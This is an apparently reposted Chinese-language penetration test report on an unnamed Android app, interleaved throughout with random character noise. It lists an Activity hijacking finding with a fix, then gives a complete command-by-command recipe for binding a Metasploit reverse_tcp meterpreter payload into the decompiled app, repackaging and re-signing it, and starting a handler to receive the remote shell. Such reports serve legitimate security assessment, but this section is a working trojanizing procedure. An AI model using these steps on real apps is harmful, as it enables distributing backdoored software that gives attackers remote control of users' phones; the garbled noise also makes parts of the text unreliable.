原创-app客户端渗透测试报告之反编译捆绑msf马二次打包以及active劫持漏洞

admin

7 ?1 x0 [" ^$ |8 |1 w

& M$ Z1 O K: ^( ?) \
$ D6 q' t/ a' a0 M$ j9 Y

" g2 [; `9 S( T" ]

$ g6 S0 i) I3 T' c . J* M/ v0 L7 f E2 z

# m2 s! o) A. L3 h: h# f G ' X# a, }# o% T 文档编号：                % Z7 e) l9 B) d" y( ^: G" Q$ H; H 7 h% ^0 `; R7 \$ t7 r2 p

# p0 _( \5 f$ w1 K" p# V

3 j) ?4 T) r, U/ j8 u9 f # K! A3 t8 ^6 k/ k W  

0 k7 m. \% O! h6 o- K, h! w % r4 o0 _+ |5 D0 c

( y' a; b+ y; C  

% p f( A% F) y0 {; m/ E' J" @   3 i A, y/ Y+ I3 A4 e

* g3 j" b) c) B R

  8 ^5 c) V \" G& H

9 [9 z5 |! f8 g2 H

) ~) ^" n3 ^' A# d3 h/ h  

2 \) q, G$ \- u$ U$ \

3 _+ E2 b z4 ?+ o& a! e+ \4 I 某某某APP渗透测试 / l! t) {0 |% _2 `% P! f

/ s2 N: M. h0 H" Q : w2 ?. q; k/ B- l

+ z2 I. [2 q' P' T - J% ~# `, T0 t y   6 ?( f5 \, C9 {- V2 ?5 v ) Y1 ~6 b; p! k7 k& l. `: v& i

6 p% w& Q) E$ j2 Y x0 T8 f

 

7 O' c* E. R8 R/ O$ S

  0 @- j) z6 m# L+ `* l) r$ r

e* ^% \- E$ w" E% m

7 `3 |" Z, b9 n5 Y* i   ! j% j# ?; @9 t/ c- q8 Y3 o' V

) [# h" c5 z* K1 C $ h+ a& M$ d9 f* v3 ^ 技 术 报 告

  2 S- j( o- q) x8 V$ N& E0 a1 T

1 G+ ]$ w; k' b4 A/ D# w1 Z7 z7 {

 

+ W! j2 ]' u- D. n/ r, r# C , |2 l$ {) v2 T2 u8 I5 l

  + ]0 O3 g9 q0 x6 a+ I2 Q

) v2 r; m3 E+ l' @9 U 6 S3 W4 p+ K. {3 P- X   6 \1 J- `- h& [2 B8 x1 @

! [+ c7 ^0 ^2 A; [- I* h + e* x F. t( V8 S/ i   ! H/ _3 i' |/ v# o8 g

& U) A+ b3 Z1 u0 x$ t 0 M" u' `6 e- T I' q

  & K& k$ Y- C0 q/ N( N

' }; Y* @: p+ L T+ D& E

  0 [6 L9 u5 P, g4 _, o6 W! h

7 P* a& @% [- W7 B8 W4 |+ ~  

; m7 D: ]7 [. c, i. u% P( f* J% P* X   ; K- {% u. x, ~; t! }% n

8 m6 V7 e* X1 a$ Y4 s( u# ?   4 J9 {% b( V& C' @' V

" u5 }- I) ]% @8 [- w* ? 1 D4 x, Q2 `% ?$ P

  $ U1 M+ o3 h8 Y9 c7 ~& g* N

; s" y+ l: Z: _. T* r% e/ w' c1 ?

  : {+ r, s2 D& A9 b

* v6 T4 t3 [0 u2 y2 t8 y

. e8 N2 ?* @. ^ . K" j" d0 [, F% Y9 w% j' s0 H   * e" j' C8 e! w/ o9 ?- U, I/ t. N

% M7 f" k/ j) \1 _- L8 k9 p! u

" n/ j+ l, B$ R4 W# M* T   ! g. b d6 j8 ~" ~3 z

3 K7 s& Q9 N6 S, [ M

: b: K8 K! ~+ D9 }  

3 u) I# ~# Q: W; v

! H) A' Y& a, ^! ?4 G9 Q% J  

7 Y: T, \. M8 k9 q. E% v   + _* f5 ?% A# Q* Y" D% w$ \ 9 l4 P! p* D. h7 N( `3 i6 _

v; F; L! v8 f# Z6 q ) Y2 V% U9 H- i# l+ `

0 i: ~( ~4 D% @   7 x, Y: \; v9 m L3 `$ R" D( Q

. H6 o3 R+ Y' | 9 }5 K* h+ U8 j/ D& r" O( ?

二〇二〇年

4 z: v D5 ?: z: v$ j6 V

" ~! v7 \1 [; t 2 T# N0 \9 S* \: m5 T1 r
; ~- I% D# D2 C& U' B / F+ b3 y* t) M$ ? |. S1 n

/ Y. O2 A9 r- C- m0 r% ^

. _) E9 f* X3 w+ I9 @$ u / ?. ^0 n4 H& G! a1 X0 g) p
. w& A i% E, ^: i1 {7 o* `0 a ! U6 R8 e+ P1 B* e, Q

! ]' J, Y* S( ?5 `7 p7 q

目 录 : l: X$ f% f" n, D E6 z" Z6 V/ v. w

( R) Q8 P) F$ d3 `2 P3 L + @% V) R) K/ G9 N( ~1 p4 B

" D7 p( {$ B8 z" c* w2 o9 c& P  

5 J: D6 J6 o8 h# j/ W

1 概述... 3 - W- c5 d# S3 \, B: B : }8 H) Q. v+ b& w# @ U3 B7 u* F. y

3 K4 L s; s6 o" T ?& \5 @- m4 ~, ] 2 V! x [; M% x3 g

1.2测试时间... 3 8 E8 Q0 V9 R( r; _6 K ! d; p$ ^! b4 z# Q' i. R+ B# r

$ _5 j) K5 S0 [ _& q1 R! r

6 D' ^' ]- g# d9 l$ O 1.3测试对象... 3 2 u$ u* V: q# H' t/ J( w2 m

" V# t" j2 H6 f; O! y! M+ o# `4 @ 1.4测试结果... 3

- w/ g; ?; l/ I8 ]

: T+ [7 I' u1 s; O1 P* W9 x ) P" @. L0 [" d+ \) q 2 检测结果... 4 4 F$ f8 E$ v4 [$ p ) [' C2 d/ F4 G( B+ S

% n/ o# T% w m- y3 Z) F3 C + W W' P5 _0 J5 _

$ P! X0 B3 K& U# |& N 2.1 某某某... 4 4 W4 D' e0 A# t1 ~

' S! r1 c( V: W$ r

2.1.1检测目标... 4 ' _1 A' g4 i4 l& @, P

+ i" c+ ?) |) p8 d/ L

T5 k- h" `3 x# e) R 2.1.2检测结果... 4 2 B1 F& s' W4 v' y( Y# L

/ L" j3 p" } T) B% [+ {

7 w" Y& ?0 o. a- f 2.1.2.1. 4 ' Y. b- M+ H# e/ f; `, _. ^ # G6 Z. m, n7 @) ]4 i, H" }

# }8 ]- s! }( O ]4 [* B: r2 Z# Y 0 N- {7 j$ e5 G

3 t- M% J! m' t6 l, c$ b$ l- j/ l 4 q; V3 k6 O8 ?$ e; X2 @0 ] 2.1.2.2. 6 & [' Z, A- J3 w

5 W9 A6 Q$ {" e- Q7 } % `: v8 D- X& g$ X0 ^7 N* F

S" d+ c+ @9 p# j% r& A* X

8 d2 @& W, {( v1 w) i # e W: b4 k9 v, L5 Q! {

! ?* y5 p0 [! @ y( F) o

1 概述 ( `, ~4 d O2 x% Q# O/ H2 y

, x# t; r( [8 j4 ]1 ^5 {, a

8 ~# v& o) J$ h7 k5 C ; _9 S, C1 }% y' d 1.2测试时间 * g" v/ j# @1 l/ L) Q

" ?' }( k& v# ^ + Q/ b9 U0 f$ ^, k1 B7 j. c+ F ?( k+ l9 K, d: J _4 ]$ s' S) X; ]/ K8 f' H$ A/ s! x( a- T3 ^$ }7 C( t, p+ A/ e$ a o" G& w `6 z) M% y% p' K1 h! B" f0 G5 r. p- @5 e1 V" f) ?: H7 F0 j% N) l; X; {1 I* d5 \5 @; `7 J8 L! Y% u9 W2 x5 [" N2 F* x9 ^3 `) k& l3 w* m8 x+ A; W) s- z p9 K7 s! |- m% {- X% w2 P" A, x2 X% Q ^/ U4 L# S: v: k$ E0 \& Q9 P( ^2 U/ D) f) v5 R* A8 i5 l. B4 N( H

( c! P( S+ a9 \ # j1 M4 g( a! G& t* W% ^& k ) [5 J- ?% R" P) U( d; B9 {* ? 6 G. E$ l9 Q3 ~ 渗透测试时间 , g1 D. D" k$ T- Z7 w + e/ g- Z1 X' _( z/ R
+ K4 U/ C: U& e % H$ Q/ n! I& b, l- B8 B4 P & @+ x" {! Z7 i0 }3 y$ m# n 起始时间 3 H9 [2 F2 }1 U , B" x0 E6 c4 c$ x' H/ S8 _" {	, p$ ?$ [, X4 l( z6 @8 c% A; d2 x2 H7 G 2020年4月6日 9 Q/ j, ^9 F$ N% d. w ) Y1 N# C' H2 B- D7 i+ w5 N$ a ; t- g, a, ^ w7 o$ L
" g/ y! t Y4 H 结束时间 * F* _" f) p: c& Z2 I3 v/ z ! ]4 N9 i( `$ N- f$ M% [; y# ^	' M* Q) B1 S& L3 Z ' m7 @4 n2 f, x, O 2020年4月9日 % J8 y- l1 l8 x: q+ ?# V7 i, f/ R

9 T- f( b$ t1 z! J- ?. |4 q: [ 1 I4 F6 c" r: g0 a6 b, s 1.3测试对象 $ L4 P8 R! S' N; M& {# }$ E

9 k3 Q, \1 i4 F9 [( I# A& y* \3 [

; v; A# f0 H$ q! m& O* n! o $ g, v# |' O9 r" w: ~ |+ {5 ~ 此次测试目标为某某某安卓APP进行渗透性测试，APP存在安全漏洞数量如下表所示： & `7 P' n; G7 B% q2 @5 T

$ W2 a6 N" t9 C8 C

- Y, W2 j- I8 ], ~ 表1-1 检测对象 * G) Z( Y) A9 [3 I

! j) ~' p H- F6 @3 e( T . h" L* Q1 F) N7 |. f( k! G6 f& h+ P" B+ u3 S3 B& z, ?& Y; |* U" k2 ?0 @4 P+ Y" y) y7 J- _2 m& |5 i- T) N9 l) n9 d+ L' P7 @0 F9 N% X* |: g+ F7 @; n- m1 f; u8 L+ U: x G3 v4 ]5 L" G) D" V- _3 K7 v) J k5 J. a% a2 G" Q/ `$ G4 f: D8 k0 t' }1 C4 L8 O- L5 C+ m8 i! _1 G5 K8 L* u) D5 u. v1 s5 `+ u) W+ j1 @- E5 {5 `$ |2 N. r' U/ g9 G5 P, d2 N6 M7 @' m$ g) m* @0 g0 E( E9 ] n+ h) n9 G/ X# F/ }8 C" E- z \0 I) c# X o! G4 c4 L5 m1 p9 K* K3 }+ Y; B! }+ Z$ G2 [: o, Y7 ~1 z: Q' `) h+ E+ O# j- @' n; }

% X' ]8 |- A1 w: s' I% ^3 h # h. U W/ q" h; V4 ~* n 序号 ! X* e/ l3 L' i7 H! p- \ ( `8 A) S$ B5 o, F" S% l5 H ; J4 @; w+ s5 S, M: k5 L$ v	# ?5 l7 Z# b: W( A5 K 4 t- m$ o1 [1 Q X7 M( T# S) | 测试对象 $ t! y: |; j3 N- v9 ` B! k , }% W" f) s$ P5 r8 [5 b1 A3 p- ?	! {' S& @5 |( t2 M 8 ^4 f) ^) ^# M0 } 测试地址 , g9 [7 y6 [0 P2 i8 X/ A, N& |2 a% p	; }9 b6 t6 F: @! ]& C: a ; k8 n) I* p* f9 a8 I , E0 n2 s1 m% t% K* V# y 安全漏洞 , p2 B. x9 J5 j( V. _2 | - J9 B# f' T* u/ Y9 f8 E1 W! ?
7 U" D# j. T: n! y% ~7 T 1 - O) L* W7 `: j" a8 R6 U, K : ]& S0 b, g4 G z& ~; H) `/ G; M1 A $ j- O, M: l j) }5 h	6 i7 c) S8 h4 [ 9 ]0 b% p- h, N' G- P* A8 i 3 D' h# o+ @" U8 `% |# | 某某某安卓APP * [ H" m9 U# L, e. R7 R$ F i , l1 n/ g6 A6 r# P2 f/ z3 f5 |	' i2 {# ^% Q s m4 S" D I ! m9 w I# Y* D n# n. {) k' D0 y' M6 L   4 ~3 S. V9 @4 M) y' N3 k1 p& } V 2 ?% K6 o c& J& V2 l v" P ) M; O+ T* O& P& y	5 ?/ }& z# `) y- W1 U0 G. Z9 U# H 2 9 U$ C* ]( O1 q3 t' f ~ " I1 C4 N2 b o5 R( S

" s5 V6 q( V+ M

) J& P7 ^, t; y% K8 g7 L 1.4测试结果 6 L8 K. ~. q# d9 i, A9 A, O$ d

$ E8 T ~: x" V

在本次对某某某APP透测试中发现，APP安全防护存在一定问题，主要问题如下所示：

: w, z7 x+ G6 i' K3 |4 L6 V ) Y1 _! h# `) {7 i. }

 

' e, I% Z2 r- \8 s ; F# c+ i. G+ F% l) G# m4 l9 i! e( k; ^" H4 p( q6 R& o4 {* `+ i' a3 _; U: F9 v: ]$ j r& D& Z6 j& h' r% k7 m" I% J- K4 v- e) y& D/ z/ v2 a: b/ ]5 y. b+ I, D& t# w1 {: M6 o+ g: T2 r3 H- g! N/ V! ~9 }8 K$ D% g) S, f# h& C( H# }. h( U* e" }; E0 h; `) ^5 j8 y- N3 E1 ^' e" i: k- Z# s; @- g- t, @$ z* t8 ~- F/ n+ |% ?9 f& f! G: Q$ r5 ^* M# m5 F6 b9 }# Y# D4 W7 T, D1 F# a0 A. C- t0 @) U6 ?5 m6 b3 W4 X9 Q* @& `. V* J3 S( l9 @+ m! R8 N6 i# ]5 u" S" X! {" J. n. C& {5 Q- Y0 W; f C5 r1 k7 k2 j: {; Q5 f/ I: g+ @" M( a- s7 R1 H$ R' w$ s4 n) \/ ?; D: C/ m4 J6 ^! W8 J5 A* E1 M( Y# d; ~* |8 D" }% I+ ?7 a9 m/ V/ R h b* Q9 X2 ?3 f! o- G+ k6 h' J; T) N6 B

3 ^7 g+ `& X9 n; m 序号 # |3 a$ l, h8 G8 U " [8 {; t9 r" s* b" Q* C2 N# W7 b ( J# C# b( |9 l* Q	4 [9 l* A! i9 P4 H$ {) y " V3 H7 `4 J2 J8 Y1 L9 n- Q# q0 ] ! q7 d# z5 O( r* ^ 系统名称 1 `' ]/ F/ X! i# _" H	: |) r- K" o) I * B3 ^7 L p; k; T0 R 7 }/ {- \, P3 T+ j, {2 D( p ( Z9 d2 y( B' k7 Y4 i3 P 漏洞名称 " i& Z0 i( E0 X: W; B& ~+ b7 F5 ^* I , o) m- s& V; X+ H4 a	. D, F! L( y* m4 p : w7 C& t. O- q9 J# Z: \ 漏洞危害 0 ~+ y9 n% Z* W8 [$ K& p ! p" Y7 m* g' Q7 E% a d- z6 F6 A2 U2 D8 L) T	! _" b# o+ y' K9 _% B* T- p $ t/ N! s5 z2 L. F$ h8 x % D( J3 T: m" j1 \: L1 ~ 修复结果 ! w' \) e/ A* @7 F. g . {. c# L$ [: n% t; {1 \ : E7 J0 `3 p: I9 f* p * }0 `' E9 @. V5 Y
y8 q9 Z' p% [ 9 }% ?6 W' N; z5 E4 N i9 ~2 l- U5 f$ Y5 F8 x 1 B: y! g8 D! P) l% I4 m 1 ( M9 u& q$ r: w$ j% [' Q1 ^ + z8 @, S% ]/ \6 C 3 D2 |" `: a7 k/ i7 E9 u+ X	$ J) r2 S3 X4 H% J 某某某某某某APP " ?- M, e; t) a( o+ x6 m/ ?) Y	' k& _% }9 P. t/ Q 5 z% h" f9 }5 `& r0 l7 ^ 5 r: G% A: h' N ! N( U3 [% H+ I+ S q- `1 i Activity 劫持 + t3 y# w7 B+ U2 R5 x8 k. d) [ ! j e9 T; i& d 5 g |5 P" [+ h' h+ {0 O$ N 9 I! w" d# \/ k/ P7 \% h5 d' A' ~* ^   ( y" h9 L) c# ~, H ! |* y+ T" z8 ]3 [: I7 m	& @- R; J6 w( Z# w" E 8 ?# _! K2 \# r4 h& b4 { . |: @2 ~; t1 T8 Z, Z* V, W 高 / y0 Z1 K+ p( ^/ h% P3 C , f8 ~ h. y) p, _- I% c* x	' l$ G" L4 I D1 P/ S2 g
! `. ^- f: e$ j+ f1 N a / }9 Q% Q0 C7 Y5 g 2 4 x J3 ]: Y4 Y, u# F D# [ Y# P B ' D$ E5 ]. x/ J S3 u0 j3 L 4 c# J* T' s3 i2 I A4 Q) ?' H! t	7 B: ~9 d" [* a8 p2 h 1 V5 V) L% e3 Z& r! p% i5 M4 y" u 某某某某某某APP ; Q, \9 C- ~( P% p1 u" A. m " }) {+ A# q Z5 ~% m 1 A* g( k. T* n' W ( r: m; k% G9 | b' D' |9 y; ]	" N3 L# y4 z2 @, w' a# h' T1 Z6 D % R; Z+ k' I& T$ N2 D% j$ M 反编译二次打包捆绑木马、篡改APP代码 ) A& Q8 e; \0 L8 R# h 4 @2 N: h# Y6 d, n( [- g - O0 \7 M: q2 v' I % {$ E* [% _) ?& p8 H/ d9 m; ?8 z	& I F0 q0 Q, ^3 h7 D4 S5 h+ p 高 : o X5 I- H$ `	2 [4 ^# Y& t1 M" f   ' [, S0 n8 C0 S4 ?: a9 W8 e2 T, |$ U , `& n6 `+ ]6 H" h5 w$ N$ {

/ T) r. ], ]3 [" Y' \

  $ E) i. ?- x7 o( }' d

% F/ D: R, F; U0 F: E. W. ^2 r

0 \9 u7 H$ h- [8 \- M + P2 q/ x# w; d# s- Q) [% `# o2 P 表1-2 测试结果 1 b7 M6 `& d) ?/ L) R

+ k3 i$ u& x& o9 p3 B W& P, A5 e. Z

\3 l# n, _' Q( w. E * t- A2 a* c/ x" m   % w, P! B8 h) o

. [' _: P8 y7 V' P* ^# N

$ _0 A/ ?3 w. ]/ M* i' `/ K: j: Q" a 1 A9 q- i' m/ v7 ~! ~ 2 检测结果                    3 W4 O# j: x2 m w9 k ; @$ `! l2 J* E Y. E5 p! j

# V* r) l& F q# m& z# @2 F

& L; B5 Z) A1 e 2.1 某某某 5 @8 q+ H/ T& F7 o$ `" f

: F' z" D1 @. K# G9 h. q: Y

- r7 }& d7 @) n3 D2 m. W 2.1.1检测目标 p' n: z" s# c2 `+ Y% p

. C$ }8 s. O6 h

/ Y# [: |- i+ W) R! M 目标地址： 某某某某某某APP

+ W- S" ]0 a8 p2 @6 o0 i! u8 K

3 } K: _1 H' p/ M' R; W0 l3 K+ J: D 2.1.2检测结果 " [# |3 L9 P5 l2 T. D

' I% _2 P3 s7 z1 ^; K % c# m' h, w6 e

5 M6 X# j. c( q6 s6 q P" S 2.1.2.1

( `8 m3 z" X5 \ 6 [" T* n7 o) [" T

( m- a% B) u- F . W' z# R" W) b* d 漏洞链接地址：某某某某某某APP ! r# _' c; t R 9 E8 Z' g" p+ g4 y2 E% N( i; F

1 A0 }0 D: b7 y   5 Y2 o4 n3 i3 C6 H: q

% s2 U5 {; S- N) n& E2 \

6 W/ q) ]/ a+ F1 w! B4 V 漏洞分析及取证： 2 }6 \" F' ?# k* V6 I % d1 _2 D% v1 n( Z$ ?

                 通过androidkiiler反编译，发现app未进行安全加固， Activity 为com.minivision.cmcc.activity.SubActivity可被劫持，复现漏洞如图： " ~ O) O! L. \/ C

0 Y9 l7 [( L- W$ o: U k

/ @2 S& j9 ~* l K1 y; Z      8 j+ L. a: V# Y( |. a1 B$ W

0 B+ J; Y. b( [: t1 R1 [: o O# _

                      / x& u$ `& Y* f" x* S) E5 N! y/ \" z

3 W5 O" R: I- h) k3 s$ I - ^0 B: X1 X& E/ j! A. T! ]( f

, M. J# L5 s9 ~3 @6 V9 @6 x& v+ ]. A 4 r2 N+ g& D6 p" c 4 W2 k! B0 a, P8 a, q " q) }/ _" x& c9 t

: o" x2 t$ O. k4 i0 f3 M ( E3 X3 l" I7 z d" z, ~

5 h& \0 A8 `5 N& U! A+ F0 \5 S

6 r" c" n9 R" O8 F) ^4 `

$ N1 i& \: S, d+ L 漏洞危害：高 9 O' o! b# r% Q5 V9 e; [

& k0 s: Y1 c* p6 A$ n3 b9 ~

* q6 ?! ~+ X7 X+ s) T 7 Z9 S$ O% O4 W$ \# ] ; U! h6 b, h4 @' A8 C* U# [7 t3 U! L* l9 @2 N S; W9 z1 K7 Y6 ~& c6 u. _8 q, W+ m& H" F9 u: }2 W* S% `0 b' n$ {6 Z3 Z% s2 t. Q/ \2 @1 u) B! f$ u; K# U) X7 j. G9 R A8 d8 o6 ^1 C: b1 Z d5 e1 y7 G, ~9 S* r; L& B/ K' I" C8 I0 o+ l; `" D" M0 y/ B2 {1 J/ ], Z" p8 e. O2 V o+ `7 m" c, _ u5 V$ [. ^9 f+ g+ F" `$ `* h* w. U2 E: a" x8 u$ w: B. k' e: L4 K; v% e1 F+ }* G) N, U* W7 W$ h" ?

$ S/ h9 X9 {( m 7 z$ W1 x1 [% g 4 u/ R- H0 \9 w* K% H( ]& k + j( t+ R& g. \ 严重程度 1 X( ?! s" ]$ F5 Y* O: v+ \ 3 E F6 i7 b- K2 G* p9 v- E9 I	+ _- m- Q$ {8 \/ y; w . o% Y }, k. T' H/ N 高 8 d, X) y6 }4 k. a& i2 i4 ?( p & `* T: ~: @& W. x, N4 j / p/ ~, j8 N: P( g! P( R' R 8 ^4 T& Q4 j! Z* D! u; j- h0 J8 ]	- i8 H$ B2 J2 o* R( t: Z( X1 t , }+ \4 C7 A9 d& E% W # s% `$ }* l: A q+ G ■ $ Z; m2 @7 a2 { ) A3 r" A* }; }' r$ Z/ X ; Q/ w! H- u3 r2 E+ c9 v$ Q x- W: k. ^* G. r	1 I: A1 C" F6 c! {) ] ! o+ W* r0 y& U ( p. [2 v+ ?( A& [. ~ 中 # c2 `4 w0 |, ^, d4 n6 b & k; r( {3 E+ t; P: x( J 0 n+ @) `2 M' a' `( g! x) j+ {	6 z( P7 G6 V1 x , q c N& W' f& _   & T/ S' K- I! |* S' ] & \% D1 z* i/ y7 d6 |& E* Y	3 W: _$ n+ m# Y- z& u % N" }4 C' q6 g" Q 低 6 \& z6 S3 M! K& a; N1 t W% d 6 `$ I, y4 ^. x2 O* V " n! J+ Y/ m+ n9 e, q	" X! m5 a% X5 o 1 l' j9 J* N5 x/ }: k* a- R

0 X% \6 B) Q2 `0 s1 T- h8 l) d, ~

+ h5 k: A) g+ o& T1 ]3 F8 V   " A( X C! g( Q2 g8 h o 8 g* U7 V# y/ n6 M* P( q

+ V" B/ _; y4 e' Z9 Y

^2 N: X; x' |$ s( b; H$ R 修复方法：在 APP 的 Activity 界面（也就是 MainActivity）中重写 onKeyDown 方法和 onPause 方法，当其被覆盖时，就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的（触摸返回键或 HOME 键），如果是用户自己触发的则无需弹出警示，否则弹出警示信息。

- P* V3 a) W0 t' I; L# u7 H) L           ! N$ s( d& j# T& m * Z' q+ u4 h. D; |; I, C

: K/ H$ I: H# a' [4 ]* b c $ P4 q# J8 O! K1 i. D* S3 D! _

" V( g1 o" A7 l1 O1 o8 \- O7 i6 [   * W* I/ `4 I1 m3 ?# b

8 J8 z+ w, m7 y( o% S& C1 X0 X 7 c; w( ^% Q8 F" g

7 y' _$ f% I( A# ]- R 2.1.2.2 % O( X1 Y% g" p. n! I' F4 n

2 j% `% d% D' s1 u' i. Z. N

0 B) S* `/ T" V8 v7 F. X 漏洞链接地址：某某某某某某APP

' k' L/ F6 x9 s% d. g/ M

漏洞分析及取证： 9 K: B$ g4 w/ i$ S0 k

- Z3 v+ L5 ?' _1 q# ~' O                  通过反编译，发现程序未加壳加密，可直接反编译获取源码，经过测试可修改app代码捆绑木马或者植入广告等操作，复现详细方法如下：

7 S; t, k. ~0 w* M% \( {

/ d9 ?& K+ n) L 用Metasploit 生成木马 apk + L3 n i* f7 s1 G% k

L: P2 w b6 Q4 u5 p; _- i( `

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk + N- X p* U2 e, Z, ?

* C7 q" @3 m! Q9 o

反编译目标apk和木马apk , a3 U3 C) q1 O+ R! \

, c8 @* a, M1 ^: B

$ D& ?9 n% g3 ~$ x* P' \ apktool d target.apk
( ^$ _/ v+ P* z6 `$ v8 C; W9 [ apktool d cockhorse.apk

木马 apk 注入目标 apk

; h, @6 o0 u% p: k8 E. e

在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件，并在 onCreate()方法中添加如下代码：
5 P; D$ T( _: f% ]0 S " d9 p: j: i3 U: d" C invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V . {% _, Q; w$ z2 M- h3 {2 e

" P3 }- w6 _; T" v5 l

3 F7 V( T6 X( M! x) e 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中，去除重复

% o) O' Z$ f. m- }6 \( T 将木马文件的 smali 文件放到目标文件下，例如 com/metasploit 文件复制到目标文件 com/ 下 ; x7 S/ _8 e% s. T0 C" v+ j

d6 E7 v3 l9 A. k, y 8 O3 O2 H1 q3 S# u( H3 E

9 g$ m* E, R! V6 ^# g 回编译生成最终 apk ) Q* G' W: A8 z

" o+ }& c( D4 d) T2 g7 V

重新打包 n! n/ i2 J" G1 W 4 Z6 p! N8 |1 Y9 v

0 x; m+ X2 v0 a5 r2 t& @0 |- W

% k9 Z$ p4 o+ c6 x* J/ C6 J apktool b -o repackage.apk target_app_floder : k0 C* ?2 K& r, Q$ ~5 V) Q / S( U( B$ m! C/ [. u/ H$ X

! y" m, r3 l3 X # }4 d) v+ u4 y. U, T% s$ P8 Z

0 U/ W+ X# W1 O7 c/ G" F0 j 创建签名文件，有的话可忽略此步骤 & m% @# z1 t0 ?6 t. g

' b5 V* l5 X1 h, f0 Y% Q2 B

# ^, w7 `" W, k9 ? keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000               

. N3 g7 O/ e; a' g

! Q0 t, _! ]- U/ U$ } 签名，以下任选其一 6 _# U! }/ P2 Q" s6 l! d4 B3 ~

1 Z- ^8 x6 }8 ?- y+ u 5 m( c# n- G4 W, q9 C5 i8 O

/ e8 m1 U# m. C5 W % B, W5 g S; n+ } jarsigner 方式 & r+ G- s6 A G8 s

. h% i6 t$ k8 Q6 K n

+ i1 E8 [4 e3 E( }: q3 x ( m5 U6 p% q# D6 ^* {# a3 \$ l jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + w9 \! P1 `5 T8 l+ \& ] % Q# q# w0 K. S/ R3 s: o( z

5 l( F' d; q; w 2 Z! T5 B+ `! l/ B

apksigner 方式

5 p- f8 R, ?8 R# b0 U

: F8 }% N! X2 s5 M' X" ^ apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk 5 m2 t" l( ^+ Q4 y w: @

% i8 l. m) t! b4 q" ~ v' v" J

: L( d7 T4 _" l 如需要禁用 v2签名 添加选项--v2-signing-enabled false 4 O* S) x5 A) J9 u; ]

验证，以下任选其一 4 C3 T$ Q; R8 ~2 H0 D

% H3 ?+ ^9 @$ d& e/ X* z% T! \ 6 T I: ~& H+ H- d' C% ]

jarsigner方式 % i! ?& _1 `1 y, ^) c

' W; P4 ~& ]+ b1 D. Q3 Y/ z $ O7 \# M: R/ j! q9 i0 {) M( [

6 t. ~6 N- ^. R( q' L+ C) o) Z% l jarsigner -verify repackaged.apk

% _6 r6 m4 F) @: @ , p3 [; x6 t# ~7 c! e7 `

apksigner 方式 1 K$ I& }% D, h* e# L. P; [8 E

. ]' M1 w% n5 y: C apksigner verify -v --print-certs repackaged.apk 0 x( ~. h" a7 a " N- i/ F; k7 D& L

keytool方式 K& M2 X% ~. ^0 C# Q6 [1 w 7 D2 {/ o9 A9 x+ D

% @/ {: [' K$ R2 O) Q8 ? keytool -printcert -jarfile repackaged.apk

4 S6 }: w8 ^+ g8 J5 F

* o* U3 A$ t5 t0 @9 y6 v 对齐 4 ?. H4 x# a, j9 k

; a" V+ C" L' J7 o0 V( V , S2 j) G8 B% v9 `1 W: b- L1 X4 n

0 p( m& y5 d; k& m8 d , g: j y7 |! E 字节对齐优化 3 N5 T. }/ g% v/ o# m 2 {9 Z6 b) Z2 g0 X9 Q/ z

8 P9 H# N# D5 h; `& o1 ^

, _& C2 c5 o5 n! r. v4 ?; C 6 C; t x# B* F V) \ zipalign -v 4 repackaged.apk final.apk ( p+ Y6 n* j0 q1 q& Q9 }3 z

) \) i0 t* P; R" Y1 b2 V, @

检查是否对齐 " s+ m# H( E8 N, ] 5 Y3 l O2 D% D8 v

. X" t' _8 }6 e8 Z W: B

zipalign -c -v 4 final.apk , Y% h# C8 n% D) F0 K" T 6 w9 J$ a; {& b- A7 n- w# h

3 j5 @* ?" i) [+ i( ^4 e) N

注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 6 F/ t1 x2 @ z; U1 v: o% {

. F3 n/ I8 [/ G) G {; I* y9 w 8 J9 N5 c+ Y- k: l) g8 v

5 Q3 V. ^* \. R, D 启动Metasploit控制台，配置参数等待上线 % }0 J: |+ R% `

- j* {. r- R3 q

# L3 u* ^5 U# E. q+ V 5 U5 I5 W6 @0 ~) q; D 在终端依次输入如下命令 $ _, `6 E& m6 a+ G" j3 ^% q

7 a* G! s1 q2 b B! \& O# i

# l) y, |' S/ d msfconsole 9 @ y: ]( h0 O' Z& j6 z" {4 X1 H 5 ~$ }7 H& E1 [) \) u, d% G' Q

6 m0 \6 A; l2 K. z% i8 o+ `( w

use exploit/multi/handler : ?! z- W/ m* G / u( T- |. i3 k/ c

) v% U* V2 S' p, Q1 Q) t* y: {, E a5 B- m2 V% p+ R* @

4 c) X- ]* y6 K. p+ P7 D1 U set PAYLOAD android/meterpreter/reverse_tcp 4 ]+ J4 r% W4 W& H) l" Y: N

: A" @' k2 u8 O% T* c4 C# _" G" _ 7 V3 u9 C* @& v2 q+ y( g+ L6 M* P

set LHOST 192.xxx.xx.xx

1 b+ j3 H2 V4 j$ _, i 6 `$ E, k& K C

2 y0 a' t( ~! S3 B set LPORT 4444

& N6 t |1 w9 ]7 O9 s; T! l4 j+ B2 ` exploit * j$ ~* ]: j+ \7 o4 r2 W: a9 _ : q$ L* C) W2 S5 d: {

) q0 l1 n3 d8 F7 u4 K, \& q $ }9 L% S) _# v# y0 ^; g

( ]3 z/ _% Y% e0 P- }" Z' R) E 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图：              

7 Q( i- N0 {' ~8 ^* P R ; \# [7 j7 n4 |

- c* \% I! r+ k! B( O9 a3 Y ' ^& }# m7 r$ r% u( {7 `! F$ X7 X: ^ 漏洞危害：中 $ g- ?1 e2 D2 V" \ ; L! T% k1 }7 t* m) F" ?

Q* ^0 {6 Z1 O) [* a! o& X , G2 c0 ?! N9 ^) n( H4 t, y! ]

